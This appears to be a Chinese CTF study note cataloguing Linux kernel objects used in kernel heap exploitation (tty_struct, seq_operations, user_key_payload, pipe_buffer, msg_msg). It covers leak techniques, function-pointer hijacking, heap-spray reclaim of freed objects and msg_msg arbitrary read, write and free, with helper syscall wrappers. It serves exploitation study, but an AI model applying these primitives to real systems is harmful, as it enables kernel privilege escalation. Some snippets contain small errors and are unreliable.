0xFF. Linux kernel:结构体总结

难道不应该打__free_hook

[toc]

能够利用的结构体

0x00. tty_struct (kmalloc-1k | GFP_KERNEL_ACCOUNT)

属性

总结

  • 通过open("/dev/ptmx", 2)来打开

  • 大小:kmalloc-1k

  • 分配flagGFP_KERNEL_ACCOUNT

  • 泄露内核基地址

  • 泄露堆地址

  • 劫持程序控制流

打开方式

打开/dev/ptmx,但需要注意是否挂载了pts,若没有挂载则无法打开

魔数

tty_struct在结构体起始位置int magic含有魔数0x5401,可以方便我们搜索该结构体。

利用效果

  • 利用函数指针劫持程序控制流

  • 参数可控,其第一个参数为tty_struct的地址

  • 泄露内核基地址

  • 泄露内核堆地址

结构体

位于include/linux/tty.h,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
char name[64];
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */

struct {
spinlock_t lock;
bool stopped;
bool tco_stopped;
unsigned long unused[0];
} __aligned(sizeof(unsigned long)) flow;

struct {
spinlock_t lock;
struct pid *pgrp;
struct pid *session;
unsigned char pktstatus;
bool packet;
unsigned long unused[0];
} __aligned(sizeof(unsigned long)) ctrl;

int hw_stopped;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

/* Each of a tty's open files has private_data pointing to tty_file_private */
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};

/* tty magic number */
#define TTY_MAGIC 0x5401

其中含有一个函数表结构体,即tty_operations,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

利用

数据泄露 - 内核基地址

tty_operations会被初始化为全局变量ptm_unix98_ops或者pyt_unix98_ops,而即使开启kaslr,低三位不变。

因此可以通过该数值来获取内核基地址。在/proc/kallsyms中也可以查看:

1
2
3
4
/ # cat /proc/kallsyms | grep 'ptm_unix98_ops'
ffffffff98083ca0 r ptm_unix98_ops
/ # cat /proc/kallsyms | grep 'pty_unix98_ops'
ffffffff98083b80 r pty_unix98_ops

数据泄露 - 堆地址

tty_struct中的devdriver是通过kmalloc分配的,因此可以通过这两个成员泄露内核地址。

劫持程序控制流

劫持tty_operations函数表即可,例如劫持其中的write函数指针,即可通过write系统调用时,设置tty_structfd即可调用劫持后的write函数。

参数可控,第一个参数rdi即为tty_struct的地址。

0x01. seq_file (kmalloc-32 | GFP_KERNEL_ACCOUNT)

属性

总结

  • 通过open("/proc/self/stat", O_RDONLY)来打开

  • 大小:kmalloc-32

  • 分配flagGFP_KERNEL_ACCOUNT

  • 泄露内核基地址

  • 不带参数劫持程序控制流

打开方式

只读方式打开文件/proc/self/stat,申请得到的是seq_operations结构体,注意不是seq_file

魔数

利用效果

  • 劫持程序控制流,无法控制参数
  • 泄露内核基地址

结构体

seq_file会单独从seq_file_cache分配,一般难以控制。其结构体为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct seq_file {
char *buf;
size_t size;
size_t from;
size_t count;
size_t pad_until;
loff_t index;
loff_t read_pos;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};

而其中seq_operations函数表结构体可以打开/proc/self/stat来获取,其结构体为:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

注意其中参数并不可控。

利用

数据泄露 - 泄露内核基地址

seq_operations函数表中的第一个函数指针start即为函数single_start函数的地址,可以用于泄露内核基地址:

1
2
/ # cat /proc/kallsyms | grep 'single_start'
ffffffffb6c4b160 T single_start

其实其余的同理,即single_stopsingle_nextsingle_show

劫持程序控制流

覆盖seq_operations函数表中的函数指针start

对该结构体调用read,即可以触发seq_operations->start控制程序执行流。

注意参数不可控,一般可能需要配合pt_regs等结构体。

若需要调试,可以暂停到seq_read_iter函数,其会调用seq_operations->start

0x02. user_key_payload (kmalloc-any, GFP_KERNEL)

属性

总结

  • 通过add_key系统调用打开(会有临时obj

  • 大小:任意,且是由用户指定的

  • 分配flagGFP_KERNEL__GFP_HARDWALL__GFP_NOWARN

  • 可以泄露内核基地址

  • 可以泄露内核堆地址

  • 通过越界读,无需驱动提供read即可泄露内核基地址

打开方式

通过add_key()系统调用为用户申请密钥时,会遵循如下流程来打开结构体:

  • 从内核中分配obj1obj2,分别用于保存descriptionpayload。其中desciption的大小为其内容长度,而payload大小由我们设置的plen指定。
  • 再次分配obj3obj4obj3obj1一模一样,并将obj1内容复制到obj3obj4obj2一模一样,并将obj4内容复制到obj2
  • 释放obj1obj2,返回分配密钥的id

可以看到,无论是对于desctiption还是payload,它们**都会有一个临时的obj**。此外,在我们利用时,我们最好将description的值设置为和payload大小以及别的结构体毫不相关,直接不考虑desciption来简化利用过程。

如此一来,只考虑payload的情况下,流程为:

  • 申请大小为plen的保存payloadobj1,其flagGFP_KERNEL
  • 再次申请一个大小和类型都一样的obj2,将obj1复制到obj2,并释放obj1

如此我们可以理清楚add_key系统调用的流程。

不被卡住的方法

使用堆喷还是太麻烦了,有的时候我们希望直接将这个结构体像其他结构体那样用来直接使用.

实际上,临时的obj和实际user_key_payloadobj申请的大小存在区别,可以利用该大小的区别来防止临时obj卡住。具体来说,临时obj申请的大小和传入的参数一样,而实际user_key_payload申请的大小则是传入的值加上0x18

例如,我们通过需要申请一个kmalloc-0x200obj,此时我们通过如下方式打开user_key_payload

1
key_alloc("whatever", "ltfall", 0xf0);

此时,临时的obj将会类似于如下方式申请内存:

1
kmalloc(0xf0);

而实际上user_key_payload使用的obj将会类似于如下方式申请内存:

1
kmalloc(0xf0 + 0x18); // 0x108

此时,临时的obj会从kmalloc-0x100申请,而实际的user_key_payloadkmalloc-0x200申请。

魔数

利用效果

  • 泄露内核基地址
  • 泄露内核堆地址
  • 通过越界读来读取地址

结构体

主要作为越界读这个利用方式的user_key_payload的结构体如下所示:

1
2
3
4
5
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */ // 大小为0x10
unsigned short datalen; /* length of this data */ // 大小为0x4,对齐后为0x8
char data[] __aligned(__alignof__(u64)); /* actual data */
};

其中,struct rcu_head结构体如下所示:

1
2
3
4
5
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

不难得知user_key_payload的头部(即struct rcu_headdatalen)一共为0x18字节。剩下的data[]数组是保存payload本身。

CTF板子

笔者直接用了arttnba3师傅写好的模板,支持musl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define KEY_SPEC_PROCESS_KEYRING	-2	/* - key ID for process-specific keyring */
#define KEYCTL_UPDATE 2 /* update a key */
#define KEYCTL_REVOKE 3 /* revoke a key */
#define KEYCTL_UNLINK 9 /* unlink a key from a keyring */
#define KEYCTL_READ 11 /* read a key or keyring's contents */

int key_alloc(char *description, void *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, void *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, void *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

可以看到包装好了如下函数:

  • key_alloc
  • key_update
  • key_read
  • key_revoke
  • key_unlink

利用UAF配合user_key_payload过程

我们上面已经提到了user_key_payload的分配方式。因此我们知道,user_key_payload会先申请一个临时的obj,因此,若我们通过题目功能UAF释放掉一个obj,那么打开user_key_payload时,UAFobj只会作为临时obj来临时复制数据。因此,此时我们就可以考虑heap spray这样的手法来确保可以分配到UAF obj。当然,师傅需要已经了解slub的分配和释放过程。

这里相对来说比较复杂,笔者尽量写得详细一些。先来个简略版:

  • 通过题目功能申请一个obj,然后释放,存在UAF,此时题目UAF obj位于kmem_cache_cpu
  • 不断堆喷射user_key_payloadUAF obj总会作为临时obj,完成后又回到kmem_cache_cpu
  • 直到kmem_cache_cpu被完全申请完毕。此时slub allocator会从kmem_cache_nodepartial中取出一个链表到kmem_cache_cpu,此时UAF obj仍然作为临时obj,但释放后被放到kmem_cache_nodefull中,并由此放到kmem_cache_nodepartial
  • 继续不断堆喷射user_key_payload,此时一直不会申请到UAF obj,直到当前kmem_cache_cpu完全耗尽
  • 耗尽后,从kmem_cache_nodepartial中取出一个链表。若此链表为UAF obj的链表,则UAF obj由于是第二个obj,因此不再会作为临时obj,而是作为真正的user_key_payload

上面笔者已经大概进行了阐述。比较抽象,对于笔者这样的初学者,笔者初次理解起来也是非常困难的。因此,我们下面直接以一个具体的例子,来看堆喷射是如何将UAF obj作为user_key_payload,而不是临时obj的。

假设kmem_cache_cpu此时有三个obj,分别为a -> b -> c。其中,a为我们的UAF obj

  • 申请一次user_key_payloada作为临时obj,而b作为user_key_payload分配。释放a,此时kmem_cache_cpua -> c

  • 申请一次user_key_payloada作为临时obj,而c作为user_key_payload分配。释放a,此时kmem_cache_cpu仅剩a

  • 申请一次user_key_payloada作为临时obj,此时需要再申请一个作为user_key_payload,而kmem_cache_cpu已经耗光,因此向kmem_cache_node申请一条链表挂载到kmem_cache_cpu,而原有链表被移动到kmem_cache_nodefull上。设新链表上面有d -> e -> f,那么取下d作为user_key_payload分配。释放a,而a属于的链表位于kmem_cache_nodefull,因此将a作为链表头,将该链表移动到kmem_cache_nodepartial上。

  • 申请一次user_key_payloade作为临时objf作为user_key_payload分配。释放e,此时kmem_cache_cpu仅剩e

  • 申请一次user_key_payloade作为临时obj,此时需要再申请一个obj作为user_key_payload。此时,我们会从kmem_cache_nodepartial链表中取下一条移动到kmem_cache_cpu。若恰好我们取了a所在的链表,而a是该链表头,因此我们就会取下a作为user_key_payload。如此一来,我们终于分配user_key_payload到了UAF obj

现在,我们就明确了通过堆喷射,来保证user_key_payload分配到UAF obj的方法了。

一般来说,喷射40次足够我们拿到UAFobj

利用

数据泄露 - 泄露内核基地址

当通过key_revoke来销毁密钥时,rcu->func(可以查看上面的结构体)将会被赋值为user_free_payload_rcu函数的地址,该函数地址和内核偏移固定,可以通过/proc/kallsyms查看其地址,如下所示:

1
/# cat /proc/kallsyms | grep 'user_free_payload_rcu'

数据泄露 - 泄露堆地址

和刚刚提到的方法异曲同工,即通过rcu->next来泄露堆地址

数据泄露 - 越界读(无需驱动提供read)

上面我们写了泄露内核基地址的方法。但该方法即使存在UAF,也需要驱动本身提供一个read功能,而若驱动本身提供了read功能,那我们实际上也不是很需要用user_key_payload来打了….

实际上user_key_payload最主要的作用就是其存在读取自身payload的功能,且其是根据结构体里的长度datalen来读取的。若我们能够控制datalen为一个大于其payload长度的数字,即可实现越界读,若能够读到其它被释放的user_key_payload结构体,即可获取到程序基地址。

总结流程:

  • 修改user_key_payloaddatalen
  • 调用keyctl_read系统调用,来根据datalen越界读数据
  • 读到其他被释放的user_key_payload,即可读到其中rcu->func,泄露内核基地址

0x03. pipe_buffer(kmalloc-1k | GFP_KERNEL_ACCOUNT)

属性

总结

  • 通过void pipe(int fd[])函数来打开
  • 同时打开pipe_inode_infopipe_buffer两个结构体
  • 需要注意的是需要写pipe_fd[1]成功后才会初始化pipe_buffer
  • pipe_inode_info的大小为kmalloc-192,分配flagGFP_KERNEL_ACCOUNT
  • pipe_buffer的大小为kmalloc-1k(注意为1024),分配flagGFP_KERNEL_ACCOUNT

打开方式

通过pipe函数来打开一个管道即可创建pipe_inode_infopipe_buffer两个结构体。

如下所示:

1
2
int pipe_fd[2];
pipe(pipe_fd);

要获得pipe_buffer还需要往管道写数据:

1
2
3
4
5
6
7
int pipe_fd[2];
if (pipe(pipe_fd) < 0){
err_exit("Failed to open pipe.");
}
if (write(pipe_fd[1], temp, 0x8) < 0){
err_exit("Failed to write pipe.");
}

魔数

利用效果

  • 劫持程序控制流
  • rdirsi均可控,rdistruct pipe_inode_inforsistruct pipe_buffer
  • 泄露内核基地址

结构体

打开管道时会创建两个结构体,其中之一为pipe_inode_info

( kmalloc-192 | GFP_KERNEL_ACCOUNT )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};

与另一个结构体pipe_buffer(为什么是kmalloc-1k?因为实际上创建pipe时会有诸多个该结构体):

( kmalloc-1k | GFP_KERNEL_ACCOUNT )

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

其中函数指针表pipe_buf_operations为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct pipe_buf_operations {
/*
* ->confirm() verifies that the data in the pipe buffer is there
* and that the contents are good. If the pages in the pipe belong
* to a file system, we may need to wait for IO completion in this
* hook. Returns 0 for good, or a negative error value in case of
* error. If not present all pages are considered good.
*/
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* Attempt to take ownership of the pipe buffer and its contents.
* ->try_steal() returns %true for success, in which case the contents
* of the pipe (the buf->page) is locked and now completely owned by the
* caller. The page may then be transferred to a different mapping, the
* most often used case is insertion into different file address space
* cache.
*/
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* Get a reference to the pipe buffer.
*/
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

利用

数据泄露 - 泄露内核基地址

pipe_buffer->pipe_buf_operations指向全局函数表,可以通过该函数表的地址来泄露出内核基地址

数据泄露 - 泄露pipe_buffer地址

pipe_inode_info中有一个指向struct pipe_buffer的指针,可以通过该指针来获取申请到的pipe_buffer的地址。即(pipe_inode_info[16])。(注:只是通过user_key_payload泄露时才是buf[16],具体还待笔者补充)

劫持程序控制流

劫持pipe_buffer的函数指针表,覆盖里面的release函数指针。

在调用close关闭管道时,会调用pipe_buffer -> pipe_buffer_operations -> release()

rdirsi均可控,rdistruct pipe_inode_inforsistruct pipe_buffer

(因此,或许可以利用gadget将栈迁移到pipe_buffer。或许可以push rsi; pop rsp?)

调试时可以暂停到pipe_buf_release

1
2
3
4
5
pipe_release()
put_pipe_info()
free_pipe_info()
pipe_buf_release()
pipe_buffer->pipe_buf_operations->release() // it should be anon_pipe_buf_release()

0x04. msg_msg (kmalloc-any | GFP_KERNEL_ACCOUNT)

属性

总结

  • 几乎任意大小的对象分配,修改m_ts达到越界读泄露数据。

详解

首先其结构如下所示:

上面左边第一个结构体为msg_msg,其大小是我们指定的。若超过一页,则才会继续分配msg_msgseg结构体。

msg_msg结构体中,前0x30大小的为header,是不包括在用户申请的大小的。其余每个字段的解释如下:

  • 第一个为struct list_head m_list,大小为0x10。为一个msg_msg的双向链表。该结构体中两个指针不能覆盖为非法地址,否则会发生错误。常见于通过msg_rev时,未设置MSG_COPY时,其会释放msg_msg从而检查这两个字段。
  • 第二个为m_type,其表示消息种类,例如我们发送消息时将其设置为1,则接受时也需要设置为1。可以任意指定,但不能设置为0,笔者暂不清楚原因,只是自己尝试的时候发现设置为0时会报错。
  • 第三个为m_ts,表示消息的大小。注意,该大小不包括header的大小。将该值改大,即可越界读数据来泄露地址。很显然,若next指针为NULL,那么该值最大为0x1000 - 0x30
  • 第四个为struct msg_msgseg* next,指向同一个消息剩下的部分,即为struct msg_msgseg将该指针劫持为任意地址,可以有两个用法:1. 通过msg_recv设置MSG_COPY,可以任意地址读;2. 通过msg_recv不设置MSG_COPY,可以任意地址释放。但任意地址释放又要注意,需要指针指向的地方为NULL才可以。此外,也需要该msg_msgset0x1000的完整obj才可以。
  • 第五个为void* security,同样知道不能覆盖即可。
  • 使用MSG_COPY标志位时需要注意:1. 使用MSG_COPY时的msgrcv需要保证读取的字节数完全等于(实际上小于等于即可,但明显我们需要等于)此时的m_ts,否则会报错;2. 使用MSG_COPY时的msgrcv中的第四个参数m_type和平常不同,其表示按顺序的第几个消息,而不是像以前那样按序号。

在分配、读取、释放对象之前,我们需要先获得一个消息的id,用于标识msg

1
2
3
4
5
int get_msg_queue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

我们通过发送消息,来进行对象的分配,如下所示:

值得注意的是,分配后的整个obj的大小为我们申请的大小加上header=0x30

1
2
3
4
5
6
7
8
9
10
11
12
/**
* msgid 表示消息的id
* msgp 表示存储消息的指针,前八个字节需要用于存放消息的种类
* msgsz 表示消息的大小,也就是msg_msg的m_ts
* msgtyp 表示消息的种类
*/
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}

对于接受消息(读取内容),根据设置的flag不同,有两种接受策略,一是设置MSG_COPY字段,其单纯查看消息。二是不设置MSG_COPY字段,其会接受消息后,销毁原有消息。封装后如下所示。

仅仅接受消息,不销毁:

1
2
3
4
5
6
7
8
9
10
11
12
/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
/**
* msgid 表示消息的id
* msgp 表示存储消息的指针,前八个字节需要用于存放消息的种类
* msgsz 表示消息的大小,也就是msg_msg的m_ts
* msgtyp 表示消息的种类
*/
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

接受消息,并释放(kfree):

1
2
3
4
5
6
7
8
9
10
11
/**
* msgid 表示消息的id
* msgp 表示存储消息的指针,前八个字节需要用于存放消息的种类
* msgsz 表示消息的大小,也就是msg_msg的m_ts
* msgtyp 表示消息的种类
*/
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

结构体补充

首先是msg_queue,对于每一个msgget都有一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* one msq_queue structure for each present queue on the system */
struct msg_queue {
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */

struct list_head q_messages; // 只有一条消息时,指向msg_msg的m_list
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;

此外是msg_msg

1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list; // 只有一条消息时,指向msg_queue的q_messages
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

以及:

1
2
3
4
struct list_head{
struct msg_msg* next;
struct msg_msg* prev;
}

0x04. msg_msg (kmalloc-any | GFP_KERNEL_ACCOUNT)

总结

  • 修改m_ts字段进行越界读写
  • 使用msgsnd进行申请,使用msgrcv进行释放
  • 使用带有MSG_COPY字段的msgrcv时,可以不释放并且读取消息内容
  • 修改next指针可以完成任意地址释放
  • 结合userfaultfd可以完成任意地址写

结构体 & 图示

img

msg_msg结构体定义如下:

1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list; // 只有一条消息时,指向msg_queue的q_messages
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

其中每个字段含义如下:

  • m_list。指向同一个msg_id的其他msg_msg结构体。每次msg_snd都会产生不同的msg_msg结构体。最需要注意的是,msgrcv调用时,若不带有MSG_COPYflag,会校验m_list是否合法。只需要是合法地址就行,平时将其写为一个其他堆地址也没出错。
  • m_type。即为msg的类型。一般设置为>0的数字。msgsndmsgrcv中,若设置为大于0的数字则需要相等,表示某一条msg特别的,当msgrcv中带有MSG_COPY的标志位时,该m_type不再表示某一条信息,而是按顺序FIFO的第m_type条信息。
  • m_ts。即表示该条msg的长度,注意是不带header的。覆盖该值为大值,可以实现越界读。
  • next。若msg的长度大于0x1000-0x30,则会连接一个struct msg_msgsegnext指向其连接的msg_msgseg对于msg_msgseg,其若为最后一条,则必须为NULL否则在msgrcv的时候会报错。

其中struct list_headmsg_queue如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct list_head{
struct msg_msg* next;
struct msg_msg* prev;
}

/* one msq_queue structure for each present queue on the system */
struct msg_queue {
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */

struct list_head q_messages; // 只有一条消息时,指向msg_msg的m_list
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;

CTF板子

准备工作

一切之前,需要先建立建立队列:

1
2
3
4
5
6
7
struct msg_buf{
size_t m_type;
size_t buf[1]; // 仅仅表示是个数组
}


int msg_id = msgget(IPC_PRIVATE, IPC_CREAT | 0666);

申请

申请msg_msg结构体的方法如下所示:

1
2
3
4
5
6
7
8
9
10
struct msg_buf* msg = (struct msg_buf*)malloc(0x100);

msg->m_type = 1; // 设置m_type
msg->buf[0] = 0xdeadbeaf; // 设置内容

// 表示创建了一个0x1000的msg_msg和0x1000的msg_msgseg。因为这个长度是不带header的。
if(msgsnd(msg_id, msg, 0x1000-0x30 + 0x1000-8, 0) < 0){
error("Failed to send msg.");
exit(0);
}

释放

释放如下所示:

1
2
3
4
5
6
7
8
char buffer[0x100];

// size一定要相等
int res = msgrcv(msg_id, buffer, 0x1000-0x30 + 0x1000-8, 0);
if(res < 0){
error("Failed to recv msg.");
exit(0);
}

释放会使得msg_msg和对应的msg_msgseg被释放。释放时,会检查m_list的两个指针是否合法。

注意,m_ts需要严格相等,当大于实际长度时无法获得和释放消息。

此外,若同一个msg_id有多条消息,则每次释放一条,按照FIFO的顺序依次释放。

读取但不释放

使用带有MSG_COPY参数的msgrcv时,即可使得其不释放msg_msg等结构体,并读取内容。注意,此时m_type不再表示消息类型,而是表示第i条消息。

1
2
3
4
5
6
7
8
char buffer[0x100];

// size一定要相等
int res = msgrcv(msg_id, buffer, 0x1000-0x30 + 0x1000-8, MSG_COPY | MSG_NOERROR | IPC_PRIVATE);
if(res < 0){
error("Failed to recv msg.");
exit(0);
}

结合userfaultfd进行任意地址写

若我们传入的m_ts大于0x1000 - 0x30,则会申请新的msg_msgseg来存储新的内容。

该部分代码位于load_msg,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len); // 建立好 msg_msg 和 msg_msgseg结构体
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen)) // 先写msg_msg的部分
goto out_err;

// 再写msg_msgseg的部分
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmem_buckets_alloc(msg_buckets, sizeof(*msg) + alen, GFP_KERNEL);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

从上面可以看到,在load_msg函数中,其会先计算大小,并建立好msg_msgmsg_msgseg结构体,随后再调用两次copy_from_user来将数据从用户态拷贝到内核态:先调用copy_from_user拷贝msg_msg结构体部分,再循环调用copy_from_user拷贝msg_msgseg结构体部分。这意味着,我们可以利用userfaultfd,在msg_msg的最后部分将其卡住。此后,若我们能修改msg_msgnext指针,当userfaultfd恢复后,就可以往我们指定的next指针处写任意值。

这部分图示见msg_msg专题。

任意地址释放

在调用msgrcv且不带有MSG_COPY标志位时,将会释放msg_msg及其连接的msg_msgseg结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void free_msg(struct msg_msg *msg)
{
struct msg_msgseg *seg;

security_msg_msg_free(msg);

seg = msg->next;
kfree(msg);
while (seg != NULL) {
struct msg_msgseg *tmp = seg->next;

cond_resched();
kfree(seg);
seg = tmp;
}
}

若我们能够劫持next指针,则会释放与其连接的obj。注意,需要保证该obj的前8位为NULL才可以。

